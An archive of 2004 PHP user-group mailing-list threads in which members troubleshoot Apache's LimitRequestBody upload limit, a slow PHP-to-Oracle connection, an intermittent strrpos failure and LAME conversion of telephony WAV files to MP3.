empty RedHat /initrd folder :-) Thank you all for quick responses. As another tip, lsof can often save some problems. [root at zaunere root]# lsof | grep -i initrd bash 18240 praxis cwd DIR 3,2 4096 1671169 /initrd su 18453 root cwd DIR 3,2 4096 1671169 /initrd [root at zaunere root]# H From jonbaer at jonbaer.net Mon Jun 21 14:45:57 2004 From: jonbaer at jonbaer.net (Jon Baer) Date: Mon, 21 Jun 2004 14:45:57 -0400 Subject: [nycphp-talk] Re: [nylug-talk] [ot] linux expertise sought ... In-Reply-To: <41EE526EC2D3C74286415780D3BA9F8702AE9FE8@ehost011-1.exch011.intermedia.net> References: <41EE526EC2D3C74286415780D3BA9F8702AE9FE8@ehost011-1.exch011.intermedia.net> Message-ID: <20040621184557.GA1877@jonbaer.net> What distro of Linux are you running that it even shows up @ all? (just curious) ... true lsof is a great tool but gotta boot up before I can use it :-) - Jon > As another tip, lsof can often save some problems. > > [root at zaunere root]# lsof | grep -i initrd > bash 18240 praxis cwd DIR 3,2 4096 1671169 > /initrd > su 18453 root cwd DIR 3,2 4096 1671169 -- pgp key: http://www.jonbaer.net/jonbaer.asc fingerprint: F438 A47E C45E 8B27 F68C 1F9B 41DB DB8B 9A0C AF47 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From phillip.powell at adnet-sys.com Mon Jun 21 15:55:54 2004 From: phillip.powell at adnet-sys.com (Phillip Powell) Date: Mon, 21 Jun 2004 15:55:54 -0400 Subject: [nycphp-talk] PHP functions constantly produce false until I reboot server??? Message-ID: <40D73D4A.8030701@adnet-sys.com> Has anyone else had problems with PHP versions 4.3.2 in RH 7.3 whereby the most basic of PHP functions fail such as: echo strrpos('wwwwwww', 'w'); produces false?? However, if I do a complete server reboot, everything is just fine? This has happened here on our server here at work off and on for weeks now and I'd like to know what is causing this to occasionally occur, if anyone else ever run into anything like this. Thanx Phil -- --------------------------------------------------------------------------------- Phil Powell Multimedia Programmer BPX Technologies, Inc. #: (703) 709-7218 x107 Fax: (703) 709-7219 From phillip.powell at adnet-sys.com Mon Jun 21 17:55:08 2004 From: phillip.powell at adnet-sys.com (Phillip Powell) Date: Mon, 21 Jun 2004 17:55:08 -0400 Subject: [nycphp-talk] Best way to handle LimitRequestBody $_REQUEST limitation Message-ID: <40D7593C.5000706@adnet-sys.com> Background: I'm building a totally portable/scalable/secure file cataloging system in PHP version 4.3.2; this application will be portable for all systems that have PHP, whether Windows or Unix or whatever as its goal as it is a web-based portable application. This application allows you to upload a file of a certain file size that I have set up. For example, if you set $maxImageFileSize to 100K then no image larger than 100K can be uploaded to the system, it won't let you. This works just fine. However, if I try to upload an image or something that is larger than LimitRequestBody size of, for example, 524K, the results are a bit more problematic than an error message, all sorts of bad crap occur depending on your browser that blows up the entire application. I want to know the best-practice method to handle this. Readjusting LimitRequestBody in /etc/httpd/conf.d/php.conf is not an option according to my company because this application is, again, designed to be portable, so that it can be mounted on Client A's server or Client B's server or Client Z's server and work exactly the same on all three even if all three have completely different configurations to LimitRequestBody. So, what do I do? Files < 100K are fine; files 100K+ - 524K are fine; files > 524K bomb the entire application and I can't figure out what to do about that. I tried displaying a message that stated that the maximum image file size that this installation of PHP on this server can handle is 524K but using ini_get('LimitRequestBody') and get_cfg_var('LimitRequestBody') both failed. Ok, I'm out of ideas, great brains of NYPHP, lend me some brain cells! Thanx Phil -- --------------------------------------------------------------------------------- Phil Powell Multimedia Programmer BPX Technologies, Inc. #: (703) 709-7218 x107 Fax: (703) 709-7219 >From hans not junk at nyphp.com Mon Jun 21 18:38:35 2004 Return-Path: Received: from smtp11.intermedia.net (smtp11.intermedia.net [64.78.21.10]) by virtu.nyphp.org (Postfix) with ESMTP id 813DFA862F for ; Mon, 21 Jun 2004 18:38:35 -0400 (EDT) Received: from ehost011-1.intermedia.net ([64.78.21.3]) by smtp11.intermedia.net with Microsoft SMTPSVC(6.0.3790.0); Mon, 21 Jun 2004 15:30:43 -0700 X-MimeOLE: Produced By Microsoft Exchange V6.5.6944.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Subject: RE: [nycphp-talk] Best way to handle LimitRequestBody $_REQUESTlimitation Date: Mon, 21 Jun 2004 15:38:27 -0700 Message-ID: <41EE526EC2D3C74286415780D3BA9F8702AEA290 at ehost011-1.exch011.intermedia.net> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [nycphp-talk] Best way to handle LimitRequestBody $_REQUESTlimitation Thread-Index: AcRX2cZhyWLkuepzTjqhf6p7u7w7HAABiNnQ From: "Hans Zaunere" To: "NYPHP Talk" X-OriginalArrivalTime: 21 Jun 2004 22:30:43.0950 (UTC) FILETIME=[63F460E0:01C457DF] X-BeenThere: talk at lists.nyphp.org X-Mailman-Version: 2.1.4 Precedence: list Reply-To: NYPHP Talk List-Id: NYPHP Talk List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 21 Jun 2004 22:38:36 -0000 > Background: I'm building a totally portable/scalable/secure file=20 > cataloging system in PHP version 4.3.2; this application will be=20 > portable for all systems that have PHP, whether Windows or Unix or=20 > whatever as its goal as it is a web-based portable application. >=20 > This application allows you to upload a file of a certain file size that=20 > I have set up. For example, if you set $maxImageFileSize to 100K then > no image larger than 100K can be uploaded to the system, it won't let=20 > you. This works just fine. >=20 > However, if I try to upload an image or something that is larger than=20 > LimitRequestBody size of, for example, 524K, the results are a bit more=20 > problematic than an error message, all sorts of bad crap occur depending=20 > on your browser that blows up the entire application. Aye... because Apache doesn't like it. > I want to know the best-practice method to handle this. Readjusting=20 > LimitRequestBody in /etc/httpd/conf.d/php.conf is not an option=20 > according to my company because this application is, again, designed to=20 > be portable, so that it can be mounted on Client A's server or Client=20 > B's server or Client Z's server and work exactly the same on all three > even if all three have completely different configurations to=20 > LimitRequestBody. >=20 > So, what do I do? Files < 100K are fine; files 100K+ - 524K are fine; > files > 524K bomb the entire application and I can't figure out what to=20 > do about that. >=20 > I tried displaying a message that stated that the maximum image file=20 > size that this installation of PHP on this server can handle is 524K but=20 > using ini_get('LimitRequestBody') and get_cfg_var('LimitRequestBody')=20 > both failed. LimitRequestBody isn't a PHP configuration directive... it's from Apache itself. http://httpd.apache.org/docs/mod/core.html#limitrequestbody AFAIK there's no way to set it in PHP. That said, it's not set by default. Otherwise, you could include a .htaccess file that sets it to 0 explicitly and thus make it unlimited. Then again, if the deployed-to Apache environment doesn't allow .htaccess directives, it wouldn't work. H From phillip.powell at adnet-sys.com Mon Jun 21 18:49:56 2004 From: phillip.powell at adnet-sys.com (Phillip Powell) Date: Mon, 21 Jun 2004 18:49:56 -0400 Subject: [nycphp-talk] Best way to handle LimitRequestBody $_REQUEST limitation In-Reply-To: <41EE526EC2D3C74286415780D3BA9F8702AEA290@ehost011-1.exch011.intermedia.net> References: <41EE526EC2D3C74286415780D3BA9F8702AEA290@ehost011-1.exch011.intermedia.net> Message-ID: <40D76614.5040102@adnet-sys.com> Hans Zaunere wrote: >>Background: I'm building a totally portable/scalable/secure file >>cataloging system in PHP version 4.3.2; this application will be >>portable for all systems that have PHP, whether Windows or Unix or >>whatever as its goal as it is a web-based portable application. >> >>This application allows you to upload a file of a certain file size >> >> >that > > >>I have set up. For example, if you set $maxImageFileSize to 100K then >> >> > > > >>no image larger than 100K can be uploaded to the system, it won't let >>you. This works just fine. >> >>However, if I try to upload an image or something that is larger than >>LimitRequestBody size of, for example, 524K, the results are a bit >> >> >more > > >>problematic than an error message, all sorts of bad crap occur >> >> >depending > > >>on your browser that blows up the entire application. >> >> > >Aye... because Apache doesn't like it. > > Yeppers.. not a PHP thing, it's an Apache thing. No friendly means that I know of to say "Hey too big get over it!" > > >>I want to know the best-practice method to handle this. Readjusting >>LimitRequestBody in /etc/httpd/conf.d/php.conf is not an option >>according to my company because this application is, again, designed >> >> >to > > >>be portable, so that it can be mounted on Client A's server or Client >>B's server or Client Z's server and work exactly the same on all three >> >> > > > >>even if all three have completely different configurations to >>LimitRequestBody. >> >>So, what do I do? Files < 100K are fine; files 100K+ - 524K are fine; >> >> > > > >>files > 524K bomb the entire application and I can't figure out what >> >> >to > > >>do about that. >> >>I tried displaying a message that stated that the maximum image file >>size that this installation of PHP on this server can handle is 524K >> >> >but > > >>using ini_get('LimitRequestBody') and get_cfg_var('LimitRequestBody') >>both failed. >> >> > >LimitRequestBody isn't a PHP configuration directive... it's from Apache >itself. > >http://httpd.apache.org/docs/mod/core.html#limitrequestbody > >AFAIK there's no way to set it in PHP. That said, it's not set by >default. Otherwise, you could include a .htaccess file that sets it to >0 explicitly and thus make it unlimited. Then again, if the deployed-to >Apache environment doesn't allow .htaccess directives, it wouldn't work. > >H > >_______________________________________________ >talk mailing list >talk at lists.nyphp.org >http://lists.nyphp.org/mailman/listinfo/talk > > > Cool possibly, Hans, but again, background: this application must be completely portable with virtually NO changes to the client's server environment to run it. I came up with the following.. works in Apache, but fails in IIS: Following is my function I wrote to retrieve the value of LimitRequestBody in php.conf if the webserver is Apache: [PHP] /*----------------------------------------------------------------------------------------------------------------------------- There is no native method in PHP to obtain a value that is in a separate CONFIG file, particularly /etc/httpd/conf.d/php.conf, therefore, you will have to obtain it yourself the hard way: splice up the file and retrieve and set into a session variable, or, obtain from the existing session variable -------------------------------------------------------------------------------------------------------------------------------*/ function &getLimitRequestBody() { global $limitRequestBodyFilePath; if ($_SESSION['limitRequestBody']) { return $_SESSION['limitRequestBody']; } else { $fileID = @fopen($limitRequestBodyFilePath, 'r'); if (!$fileID) return 0; // BOMB OUT - $limitRequestBodyFilePath SET IN CSV FILE AND IS REQUIRED TO OBTAIN LimitRequestBody $contents = @fread($fileID, filesize($limitRequestBodyFilePath)); @fclose($fileID); preg_match('/LimitRequestBody[\s\t]*([0-9]+)\n*/i', $contents, $matchArray); $_SESSION['limitRequestBody'] = (int)trim($matchArray[1]); return (int)trim($matchArray[1]); } } [/PHP] Nice function, however, HUGE dilemma: the application that will use this function is designed to be fully portable, that is, it can run in Apache or IIS or anything that can run PHP. That means everything in this application needs to run equally in any webserver that can handle PHP, including this function. This function works only if you're using Apache since it retrieves a specific file /etc/httpd/conf.d/php.conf that has a value I need that PHP itself cannot provide to determine the absolute limit of a request. So how do I write this for IIS or any other PHP-friendly webserver? Thanx Phil -- --------------------------------------------------------------------------------- Phil Powell Multimedia Programmer BPX Technologies, Inc. #: (703) 709-7218 x107 Fax: (703) 709-7219 From rich at f1central.net Mon Jun 21 19:07:04 2004 From: rich at f1central.net (rich) Date: Tue, 22 Jun 2004 01:07:04 +0200 Subject: [nycphp-talk] Best way to handle LimitRequestBody $_REQUESTlimitation In-Reply-To: <40D76614.5040102@adnet-sys.com> Message-ID: [chop] > Nice function, however, HUGE dilemma: the application that will use this > function is designed to be fully portable, that is, it can run in Apache > or IIS or anything that can run PHP. That means everything in this > application needs to run equally in any webserver that can handle PHP, > including this function. > > This function works only if you're using Apache since it retrieves a > specific file /etc/httpd/conf.d/php.conf that has a value I need that > PHP itself cannot provide to determine the absolute limit of a request. > > So how do I write this for IIS or any other PHP-friendly webserver? Do IIS and other non-apache servers impose the same limitation? As the web server will normally be the layer above php you will have to resort to such hackery using whatever configuration files (IIS uses the metabase which IIRC is similar to the windows registry) are needed before presenting any upload interface... basically it seems you're gonna be writing custom code per web server variant... :( rich >From hans not junk at nyphp.com Mon Jun 21 19:12:28 2004 Return-Path: Received: from smtp11.intermedia.net (smtp11.intermedia.net [64.78.21.10]) by virtu.nyphp.org (Postfix) with ESMTP id D1C94A862F for ; Mon, 21 Jun 2004 19:12:27 -0400 (EDT) Received: from ehost011-1.intermedia.net ([64.78.21.3]) by smtp11.intermedia.net with Microsoft SMTPSVC(6.0.3790.0); Mon, 21 Jun 2004 16:04:36 -0700 X-MimeOLE: Produced By Microsoft Exchange V6.5.6944.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Subject: RE: [nycphp-talk] Best way to handle LimitRequestBody $_REQUESTlimitation Date: Mon, 21 Jun 2004 16:12:26 -0700 Message-ID: <41EE526EC2D3C74286415780D3BA9F8702AEA2C2 at ehost011-1.exch011.intermedia.net> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [nycphp-talk] Best way to handle LimitRequestBody $_REQUESTlimitation Thread-Index: AcRX4XktqcixrTj2SxmLCXHVANvwhQAAz+cQ From: "Hans Zaunere" To: "NYPHP Talk" X-OriginalArrivalTime: 21 Jun 2004 23:04:36.0234 (UTC) FILETIME=[1F4A4EA0:01C457E4] X-BeenThere: talk at lists.nyphp.org X-Mailman-Version: 2.1.4 Precedence: list Reply-To: NYPHP Talk List-Id: NYPHP Talk List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 21 Jun 2004 23:12:28 -0000 > Nice function, however, HUGE dilemma: the application that will use this=20 > function is designed to be fully portable, that is, it can run in Apache=20 > or IIS or anything that can run PHP. That means everything in this=20 > application needs to run equally in any webserver that can handle PHP, > including this function. Another huge problem is security. The user that Apache/PHP doesn't always have read access to the conf files... I know on all of my platforms they don't. This is not a solution, it's a hack. > This function works only if you're using Apache since it retrieves a=20 > specific file /etc/httpd/conf.d/php.conf that has a value I need that=20 > PHP itself cannot provide to determine the absolute limit of=20 > a request. >=20 > So how do I write this for IIS or any other PHP-friendly webserver? And sure, it's totally not portable. There's no solution here that I can see. As part of installing/setup directions for the application, you just need to mention these issues. It's not possible to always make an application totally portable, and in fact it rarely is. Your application has some level of dependency that your end-user has to be aware of. H From jonbaer at jonbaer.net Mon Jun 21 19:31:24 2004 From: jonbaer at jonbaer.net (Jon Baer) Date: Mon, 21 Jun 2004 19:31:24 -0400 Subject: [nycphp-talk] PHP functions constantly produce false until I reboot server??? In-Reply-To: <40D73D4A.8030701@adnet-sys.com> References: <40D73D4A.8030701@adnet-sys.com> Message-ID: <20040621233124.GA2060@jonbaer.net> just a thought, wouldn't happen to have been playing with php5 on that box would you? i know this was a function that was subject to change to use the entire string and will yield false in the result now ... its @ the top of the README in the php5 root directory. should log the needle for a while to see what your are actually throwing into it ... - jon On Mon, Jun 21, 2004 at 03:55:54PM -0400, Phillip Powell wrote: > Has anyone else had problems with PHP versions 4.3.2 in RH 7.3 whereby > the most basic of PHP functions fail such as: > > echo strrpos('wwwwwww', 'w'); > > produces false?? > > However, if I do a complete server reboot, everything is just fine? > This has happened here on our server here at work off and on for weeks > now and I'd like to know what is causing this to occasionally occur, if > anyone else ever run into anything like this. -- pgp key: http://www.jonbaer.net/jonbaer.asc fingerprint: F438 A47E C45E 8B27 F68C 1F9B 41DB DB8B 9A0C AF47 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From phillip.powell at adnet-sys.com Tue Jun 22 09:41:42 2004 From: phillip.powell at adnet-sys.com (Phillip Powell) Date: Tue, 22 Jun 2004 09:41:42 -0400 Subject: [nycphp-talk] Best way to handle LimitRequestBody $_REQUESTlimitation In-Reply-To: <41EE526EC2D3C74286415780D3BA9F8702AEA2C2@ehost011-1.exch011.intermedia.net> References: <41EE526EC2D3C74286415780D3BA9F8702AEA2C2@ehost011-1.exch011.intermedia.net> Message-ID: <40D83716.7040403@adnet-sys.com> Hans Zaunere wrote: >>Nice function, however, HUGE dilemma: the application that will use >> >> >this > > >>function is designed to be fully portable, that is, it can run in >> >> >Apache > > >>or IIS or anything that can run PHP. That means everything in this >>application needs to run equally in any webserver that can handle PHP, >> >> > > > >>including this function. >> >> > >Another huge problem is security. The user that Apache/PHP doesn't >always have read access to the conf files... I know on all of my >platforms they don't. This is not a solution, it's a hack. > > > >>This function works only if you're using Apache since it retrieves a >>specific file /etc/httpd/conf.d/php.conf that has a value I need that >>PHP itself cannot provide to determine the absolute limit of >>a request. >> >>So how do I write this for IIS or any other PHP-friendly webserver? >> >> > >And sure, it's totally not portable. > >There's no solution here that I can see. As part of installing/setup >directions for the application, you just need to mention these issues. >It's not possible to always make an application totally portable, and in >fact it rarely is. Your application has some level of dependency that >your end-user has to be aware of. > > Crud. *sigh* Well, after making a checklist of requirements and dependencies, my application appears to work best in a LAMP environment (surprise surprise) and I've taken your advice inasmuch as noting in my documentation the need for allowances for minimal read access to php.conf for the webserver and/or webserver group. Allowances for .htaccess are, for now, only for error handling (although I might allow for specialized .htaccess to free up LimitRequestBody to unlimited per client request). Thanx Phil >H > >_______________________________________________ >talk mailing list >talk at lists.nyphp.org >http://lists.nyphp.org/mailman/listinfo/talk > > > -- --------------------------------------------------------------------------------- Phil Powell Multimedia Programmer BPX Technologies, Inc. #: (703) 709-7218 x107 Fax: (703) 709-7219 From phillip.powell at adnet-sys.com Tue Jun 22 09:43:04 2004 From: phillip.powell at adnet-sys.com (Phillip Powell) Date: Tue, 22 Jun 2004 09:43:04 -0400 Subject: [nycphp-talk] PHP functions constantly produce false until I reboot server??? In-Reply-To: <20040621233124.GA2060@jonbaer.net> References: <40D73D4A.8030701@adnet-sys.com> <20040621233124.GA2060@jonbaer.net> Message-ID: <40D83768.90102@adnet-sys.com> Jon Baer wrote: >just a thought, wouldn't happen to have been playing with php5 on that box >would you? i know this was a function that was subject to change to use the >entire string and will yield false in the result now ... > >its @ the top of the README in the php5 root directory. > >should log the needle for a while to see what your are actually throwing into >it ... > >- jon > > Not as far as I know, we're still using the out-of-the-box PHP 4.3.2 here on this server. There was talk of an upgrade to 4.3.7 a while back but it's been put on hold for now. Phil >On Mon, Jun 21, 2004 at 03:55:54PM -0400, Phillip Powell wrote: > > >>Has anyone else had problems with PHP versions 4.3.2 in RH 7.3 whereby >>the most basic of PHP functions fail such as: >> >>echo strrpos('wwwwwww', 'w'); >> >>produces false?? >> >>However, if I do a complete server reboot, everything is just fine? >>This has happened here on our server here at work off and on for weeks >>now and I'd like to know what is causing this to occasionally occur, if >>anyone else ever run into anything like this. >> >> > > > >------------------------------------------------------------------------ > >_______________________________________________ >talk mailing list >talk at lists.nyphp.org >http://lists.nyphp.org/mailman/listinfo/talk > > -- --------------------------------------------------------------------------------- Phil Powell Multimedia Programmer BPX Technologies, Inc. #: (703) 709-7218 x107 Fax: (703) 709-7219 From d at tdavidvogel.com Tue Jun 22 10:50:15 2004 From: d at tdavidvogel.com (David Vogel) Date: Tue, 22 Jun 2004 10:50:15 -0400 Subject: [nycphp-talk] connecting to oracle w/ php Message-ID: <40D84727.5090909@tdavidvogel.com> Just wondering if anyone with experience using php to connect to an oracle server has any insight into a problem I'm having. using PHP 4.3.2 on apache 1.3.27 to connect to oracle 8i on win2k OCIlogon() connects successfully but only after about 30 seconds. I never done much with oracle and I suspected a server config problem, but the oracle guys from the company (diebold, ugh) who set up the server disagree so I'm wondering if there are any known problems to watch out for w/ php, env vars that may be set wrong or something like that. I'm pretty sure it's not a network problem or anything, connecting from diebold's front end is very fast, only having probs from www script. Thoughts? thanks, Dave From ajai at bitblit.net Tue Jun 22 11:45:04 2004 From: ajai at bitblit.net (Ajai Khattri) Date: Tue, 22 Jun 2004 11:45:04 -0400 Subject: [nycphp-talk] Best way to handle LimitRequestBody $_REQUESTlimitation In-Reply-To: <40D83716.7040403@adnet-sys.com> References: <41EE526EC2D3C74286415780D3BA9F8702AEA2C2@ehost011-1.exch011.intermedia.net> <40D83716.7040403@adnet-sys.com> Message-ID: <40D85400.3050709@bitblit.net> Phillip Powell wrote: > Allowances for .htaccess are, for now, only for error handling (although > I might allow for specialized .htaccess to free up LimitRequestBody to > unlimited per client request). > Just wanted to point out, there's a good reason Apache has a limit set by default - setting it to unlimited effectively opens up the web server for a denial of service attack by uploading massive files that tie up the server and fill up the disk... -- Aj. Systems Administrator / Developer From phillip.powell at adnet-sys.com Tue Jun 22 11:58:58 2004 From: phillip.powell at adnet-sys.com (Phillip Powell) Date: Tue, 22 Jun 2004 11:58:58 -0400 Subject: [nycphp-talk] Best way to handle LimitRequestBody $_REQUESTlimitation In-Reply-To: <40D85400.3050709@bitblit.net> References: <41EE526EC2D3C74286415780D3BA9F8702AEA2C2@ehost011-1.exch011.intermedia.net> <40D83716.7040403@adnet-sys.com> <40D85400.3050709@bitblit.net> Message-ID: <40D85742.5030907@adnet-sys.com> Ajai Khattri wrote: > Phillip Powell wrote: > >> Allowances for .htaccess are, for now, only for error handling (although >> I might allow for specialized .htaccess to free up LimitRequestBody >> to unlimited per client request). >> > > Just wanted to point out, there's a good reason Apache has a limit set > by default - setting it to unlimited effectively opens up the web > server for a denial of service attack by uploading massive files that > tie up the server and fill up the disk... > That would be true if this were a public application. As it is set up it is meant to be in a privately-accessible directory that only 1 or 2 people would be using, thus, the directory with the specially-tailored .htaccess file would be only vulnerable to 1 or 2 people. Which would stand to reason that if a denial-of-service attack were to occur, IAPW, it would be easy to find out who did it. Phil -- --------------------------------------------------------------------------------- Phil Powell Multimedia Programmer BPX Technologies, Inc. #: (703) 709-7218 x107 Fax: (703) 709-7219 From smanes at magpie.com Tue Jun 22 12:33:51 2004 From: smanes at magpie.com (Steve Manes) Date: Tue, 22 Jun 2004 12:33:51 -0400 Subject: [nycphp-talk] connecting to oracle w/ php In-Reply-To: <40D84727.5090909@tdavidvogel.com> References: <40D84727.5090909@tdavidvogel.com> Message-ID: <40D85F6F.6080108@magpie.com> David Vogel wrote: > Just wondering if anyone with experience using php to connect to an > oracle server has any insight into a problem I'm having. > > using PHP 4.3.2 on apache 1.3.27 to connect to oracle 8i on win2k > OCIlogon() connects successfully but only after about 30 seconds. Are you attempting to connect via an IP address or a domain name? Maybe a slow DNS server? It sounds like an identd timeout though. Do you have the same delay running 'sqlplus' from the command line on the web server? From tom at supertom.com Tue Jun 22 12:39:26 2004 From: tom at supertom.com (Tom) Date: Tue, 22 Jun 2004 09:39:26 -0700 Subject: [nycphp-talk] connecting to oracle w/ php Message-ID: <200406221639.JAA11646@earth.he.net> Just a thought: Is the web server on the same box as Oracle? Would an entry into the windows HOSTS file help? Tom > Just wondering if anyone with experience using php to connect to an > oracle server has any insight into a problem I'm having. > > using PHP 4.3.2 on apache 1.3.27 to connect to oracle 8i on win2k > OCIlogon() connects successfully but only after about 30 seconds. > > I never done much with oracle and I suspected a server config problem, > but the oracle guys from the company (diebold, ugh) who set up the > server disagree so I'm wondering if there are any known problems to > watch out for w/ php, env vars that may be set wrong or something like > that. I'm pretty sure it's not a network problem or anything, > connecting from diebold's front end is very fast, only having probs from > www script. Thoughts? > > thanks, > Dave > > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk > > *************************************************** What's Tom listening to right now? Find out here: http://www.supertom.com/current_track.php From stephen at musgrave.org Tue Jun 22 13:06:11 2004 From: stephen at musgrave.org (Stephen Musgrave) Date: Tue, 22 Jun 2004 13:06:11 -0400 Subject: [nycphp-talk] WAV to MP3 conversion with LAME Message-ID: hello list - this is an obscure situation, but on the off chance that someone has had this experience... my client is using angel.com call center services. the voice mail is saved as a WAV file, we suck that down to our server and convert it to MP3 using LAME on LINUX. the problem is that the resulting MP3 file is noise (and the duration of the file is also about 1/4 of the original). it feels like the bitrate, sample size and or sample rate is out of sync, which it probably is, but i am not a digital audio expert by any means! (i've tried various settings including 'auto'). when reading the output log from lame, it warns: Warning: corrupt or unsupported WAVE format Assuming raw pcm input file also, when converting the WAV file with iTunes to MP3, it works just fine. i suspect that angel.com is writing their WAV files missing some header information? so, if anybody has any light to shed on this stumper, it would be greatly appreciated! stephen From Cbielanski at inta.org Tue Jun 22 13:20:28 2004 From: Cbielanski at inta.org (Chris Bielanski) Date: Tue, 22 Jun 2004 13:20:28 -0400 Subject: [nycphp-talk] WAV to MP3 conversion with LAME Message-ID: This does sound like they are using an off-standard PCM encoding, either storing it at an unsual bitrate or omitting the header information, yes. I'd contact angel.com to get the scoop on that format and adjust your LAME encoding accordingly. Alternately, you're just going to have to muck areounf with "feeds and speeds" of decoing the PCM stream. Do some math on the duration change between the PCM file and your mp3 output, that might be a place to start to determine the factor by which the sampling must decrease. For example, you might be trying to encode an 11k PCM stream at the "standard" 44k, which (in theory) would result in your 1/4 ratio of source to destination. The same would happen if you're encoding a 22k mono stream at 44k stereo. Source is halved once by the doubled sampling rate (22k -> 44k) and halved again by the channel separation (mono -> stereo) HTH, Chris Bielanski Web Programmer, International Trademark Association, 1133 Avenue of the Americas, 33rd Floor New York, NY 10036 +1 (212) 642-1745, f: +1 (212) 768-7796 mailto:cbielanski at inta.org, www.inta.org INTA -- 125 Years of Excellence > -----Original Message----- > From: Stephen Musgrave [mailto:stephen at musgrave.org] > Sent: Tuesday, June 22, 2004 1:06 PM > To: nyPHP - Talk Talk > Subject: [nycphp-talk] WAV to MP3 conversion with LAME > > > > hello list - > > this is an obscure situation, but on the off chance that > someone has had > this experience... > > my client is using angel.com call center services. the voice > mail is saved > as a WAV file, we suck that down to our server and convert it > to MP3 using > LAME on LINUX. the problem is that the resulting MP3 file is > noise (and the > duration of the file is also about 1/4 of the original). > > it feels like the bitrate, sample size and or sample rate is > out of sync, > which it probably is, but i am not a digital audio expert by > any means! > (i've tried various settings including 'auto'). > > when reading the output log from lame, it warns: > > Warning: corrupt or unsupported WAVE format > Assuming raw pcm input file > > also, when converting the WAV file with iTunes to MP3, it > works just fine. > i suspect that angel.com is writing their WAV files missing > some header > information? > > so, if anybody has any light to shed on this stumper, it > would be greatly > appreciated! > > stephen > > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk > From joel at tagword.com Tue Jun 22 14:53:39 2004 From: joel at tagword.com (Joel De Gan) Date: Tue, 22 Jun 2004 14:53:39 -0400 Subject: [nycphp-talk] WAV to MP3 conversion with LAME In-Reply-To: References: Message-ID: <1087930419.7441.138.camel@bezel> In case you haven't, try `lame --longhelp` or `man lame` You will need to specify -s for the freq of the wav file. I would also look at -m If you have a program that can examine the bitrates/channels etc for the wav files you will find what you need. >From what I can gather they are MONO at 128kbps and 80KHz Hope that helps some.. On Tue, 2004-06-22 at 13:06, Stephen Musgrave wrote: > hello list - > > this is an obscure situation, but on the off chance that someone has had > this experience... > > my client is using angel.com call center services. the voice mail is saved > as a WAV file, we suck that down to our server and convert it to MP3 using > LAME on LINUX. the problem is that the resulting MP3 file is noise (and the > duration of the file is also about 1/4 of the original). > > it feels like the bitrate, sample size and or sample rate is out of sync, > which it probably is, but i am not a digital audio expert by any means! > (i've tried various settings including 'auto'). > > when reading the output log from lame, it warns: > > Warning: corrupt or unsupported WAVE format > Assuming raw pcm input file > > also, when converting the WAV file with iTunes to MP3, it works just fine. > i suspect that angel.com is writing their WAV files missing some header > information? > > so, if anybody has any light to shed on this stumper, it would be greatly > appreciated! > > stephen > > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk -- joeldg - developer, Intercosmos media group. http://lucifer.intercosmos.net From stephen at musgrave.org Tue Jun 22 13:42:29 2004 From: stephen at musgrave.org (Stephen Musgrave) Date: Tue, 22 Jun 2004 13:42:29 -0400 Subject: [nycphp-talk] WAV to MP3 conversion with LAME In-Reply-To: Message-ID: chris & joel - thanks for the comments. i failed to mention in my original post that when i pull angel.com's WAV file into iTunes and look at the info, the file has the following characteristics: Sample Rate: 8.000 KHz Channels: Mono Sample Size: 8 bit Bit Rate: 64kbps while LAME works "automatically", since it isn't recognizing the file, i've attempted to force these numbers when converting in LAME. lame -s8-bitwidth8-b64-mm source.wav target.wav i've tried this several different ways, suppressed filters, etc, etc. Stephen On 6/22/04 1:20 PM, "Chris Bielanski" wrote: > This does sound like they are using an off-standard PCM encoding, either > storing it at an unsual bitrate or omitting the header information, yes. I'd > contact angel.com to get the scoop on that format and adjust your LAME > encoding accordingly. Alternately, you're just going to have to muck areounf > with "feeds and speeds" of decoing the PCM stream. > > Do some math on the duration change between the PCM file and your mp3 > output, that might be a place to start to determine the factor by which the > sampling must decrease. For example, you might be trying to encode an 11k > PCM stream at the "standard" 44k, which (in theory) would result in your 1/4 > ratio of source to destination. The same would happen if you're encoding a > 22k mono stream at 44k stereo. Source is halved once by the doubled sampling > rate (22k -> 44k) and halved again by the channel separation (mono -> > stereo) > > HTH, > Chris Bielanski > Web Programmer, > International Trademark Association, > 1133 Avenue of the Americas, 33rd Floor > New York, NY 10036 > +1 (212) 642-1745, f: +1 (212) 768-7796 > mailto:cbielanski at inta.org, www.inta.org > INTA -- 125 Years of Excellence > > > >> -----Original Message----- >> From: Stephen Musgrave [mailto:stephen at musgrave.org] >> Sent: Tuesday, June 22, 2004 1:06 PM >> To: nyPHP - Talk Talk >> Subject: [nycphp-talk] WAV to MP3 conversion with LAME >> >> >> >> hello list - >> >> this is an obscure situation, but on the off chance that >> someone has had >> this experience... >> >> my client is using angel.com call center services. the voice >> mail is saved >> as a WAV file, we suck that down to our server and convert it >> to MP3 using >> LAME on LINUX. the problem is that the resulting MP3 file is >> noise (and the >> duration of the file is also about 1/4 of the original). >> >> it feels like the bitrate, sample size and or sample rate is >> out of sync, >> which it probably is, but i am not a digital audio expert by >> any means! >> (i've tried various settings including 'auto'). >> >> when reading the output log from lame, it warns: >> >> Warning: corrupt or unsupported WAVE format >> Assuming raw pcm input file >> >> also, when converting the WAV file with iTunes to MP3, it >> works just fine. >> i suspect that angel.com is writing their WAV files missing >> some header >> information? >> >> so, if anybody has any light to shed on this stumper, it >> would be greatly >> appreciated! >> >> stephen >> >> _______________________________________________ >> talk mailing list >> talk at lists.nyphp.org >> http://lists.nyphp.org/mailman/listinfo/talk >> > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk > > 